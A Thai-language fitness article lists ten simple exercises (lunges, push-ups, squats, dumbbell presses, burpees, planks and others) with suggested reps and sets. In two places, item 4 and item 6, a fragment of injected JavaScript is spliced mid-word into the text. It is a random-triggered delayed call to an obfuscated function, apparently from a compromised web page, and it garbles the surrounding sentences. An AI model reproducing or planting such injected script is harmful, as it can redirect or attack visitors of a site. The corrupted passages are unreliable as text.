Keep fit with 10 exercises: 10 ท่าบริหารเเบบง่ายๆ ให้คุณฟิตแอนด์เฟิร์ม

การออกกำลังกายทุกวันดีต่อสุขภาพแน่นอนครับ แต่เนื่องด้วยทุกคนมีเวลาว่างไม่เท่ากัน งานก็ยุ่ง เวลาก็มีให้ตัวเองน้อย ดังนั้นการฝึกบริหารร่างกายที่จะนำเสนอจึงเลือกแบบ เบสิคและคลาสิก ท่าไม่ยากแต่เน้นคุณภาพ เวลาฝึกก็ใช้ไม่เยอะหรือแล้วแต่จะเพิ่มจำนวนรอบเอาถ้ามีเวลาเพิ่ม เรารับประกันเลยครับ ถ้าสามารถฝึกต่อกันเป็นเวลา 30 วัน เราจะเห็นการเปลี่ยนแปลงของร่างกายแน่นอน

Keep fit with 10 exercises: 10 ท่าบริหารเเบบง่ายๆ ให้คุณฟิตแอนด์เฟิร์ม

1. ท่า Lunges

เสริมสร้างการเคลื่อนไหวร่างกายให้คล่องแคล่วมากขึ้น นอกจากจะช่วยฝึกกล้ามเนื้อก้น (Glutes) และกล้ามเนื้อขาแล้ว ยังเป็นการฝึกบาลานซ์ระหว่างร่างกายซีกซ้ายและขวา แนะนำทำ ข้างละ 10 ครั้ง จำนวน 3 เซต

2. ท่า Push-up หรือท่าวิดพื้น

ทำบริหารกล้ามเนื้อที่ใช้น้ำหนักร่างกายที่เบสิคที่สุดแต่ให้ประสิทธิภาพดี สามารถบริหารกล้ามเนื้อได้หลาย ไม่ว่าจะเป็นแขน อกและหน้าท้อง

แนะนำให้วิดพื้นให้ได้จำนวนครั้งมมากที่สุดเท่าที่จะทำได้ จำนวน 3 เซต ถ้าใครวิดพื้นธรรมดาไม่ไหวก็ใช้วิธีแบบคุกเข่าวิดพื้นลดความยากลงหรือที่เรียกว่า Knee Push-up

3. Squat หรือท่าสควอด

ท่าบริหารกล้ามเนื้อช่วงล่าและกลางลำตัว ( Lower body & Core) แถมยังช่วยเพิ่มความยืดหยุ่นให้กับกล้ามเนื้อแผนหลัง (Lower back) และเอว (Hips) เป็นท่าที่บริหารกล้ามเนื้อมัดใหญ่ที่สุดในร่างกาย ทำให้เป็นท่าที่เบริ์นแคลอรี่ได้เยอะที่สุด แนะนำทำ 20 ครั้ง จำนวน 3 เซต

4. Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding overhead dumbbell presses ท่ายืนตรงยกแขนขึ้นโดยมีการใช้ดรัมเบล

ท่าบริหารนี้จำเป็นต้องมีการใช้อุปกรณ์เข้ามาช่วย นั้นคือ ดรัมเบล 2 ข้างสำหรับถือในมือซ้ายขวา เป็นท่าที่บริหารกล้ามเนื้อหลายส่วน ได้แก่ กล้ามเนื้อแขน หัวไหล่ แผ่นหลังด้านบน (Upper back) และลำตัว (Core) ในเวลาเดียวกัน แนะนำทำ 12 ครั้ง 3 เซต และเลือกน้ำหนักของดรัมเบลขนาด 10 ปอนด์ หรือประมาณ 4 กิโลกรัมเป็นตัวเริ่มต้นก่อน

5. Dumbbell rows

เป็นหนึ่งในท่าบริหารกล้ามเนื้อหลัง เป็นท่าฝึกกล้ามเนื้อที่ทำทีเดียวได้กล้ามเนื้อหลายมัด ตั้งแต่กล้ามเนื้อแผ่นหลัง กล้ามเนื้อช่วงบนร่างกาย

แนะนำทำ 10 ครั้ง 3 เซต และเลือกน้ำหนักของดรัมเบลขนาด 10 ปอนด์ หรือประมาณ 4 กิโลกรัมเป็นตัวเริ่มต้นก่อน

6. Single-leg deadlifts

นอกจากจะช่วยบริหารบาลานซ์ซีกซ้ายซีกขวาแล้ว การทำท่ายังช่วยพัฒนาความมั่นคงแข็งแรงของกล้ามเนื้อขา (stabilityandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leg strength) แนะนำทำข้างละ 10 – 12 ครั้ง

7. Burpees

หนึ่งในท่าบริหารที่เบสิคแต่โคตรเหนื่อยที่สุด ให้ผลการฝึกกล้ามเนื้อทั้งตัวดีมาก เป็นท่าบริหารที่เรียกว่า Whole-body exercise แถมยังเป็นการออกกำลังกายแบบ คาร์ดิโอ อีกด้วย ทำฝึกท่านี้จะได้ทั้ง cardiovascular endurance และ muscle strength สำหรับมือใหม่แนะนำทำ 10 ครั้ง 3 เซต

8. Side planks

หนึ่งท่าที่คนมักมองข้าม ท่าบริการ Side plank ช่วยบริหารกล้ามเนื้อลำตัวหรือ core muscle และด้านข้าง อันจะมีส่วนช่วยในการควบคุมการเคลื่อนไหวร่างกาย

แนะนำทำข้างละ 10 – 15 ครั้ง 3 เซต

9. Sit-ups

ท่าบริหารที่โฟกัสตรงหน้าท้องหรือ abdominal muscles แนะนำให้หาที่รองพื้นปูรองก็ฝึก หรือสำหรับมือใหม่ให้เริ่มจากท่า Crunch ไปก่อนแล้วค่อยทำท่า Sit-ups แบบเต็มรูปแบบ มือใหม่แนะนำทำครั้งละ 10 – 15 ครั้ง 3 เซต

ถ้าใครนึกท่า Crunch ไม่ออก เรามีตัวอย่างให้ครับ

10. ท่ายกสะพานหรือ Glute bridge

บริหารกล้ามเนื้อ hamstrings ก้น เอวและลำตัว ในเวลาเดียวกัน แถมยังช่วยโทนร่างกายให้ดูสมส่วนด้วย คุณผู้หญิงไม่ควรพลาดท่านี้เพราะจะทำให้ก้นเอวดูเรียวงาม แนะนำทำครั้งละ 10 – 12 ครั้ง 3 เซต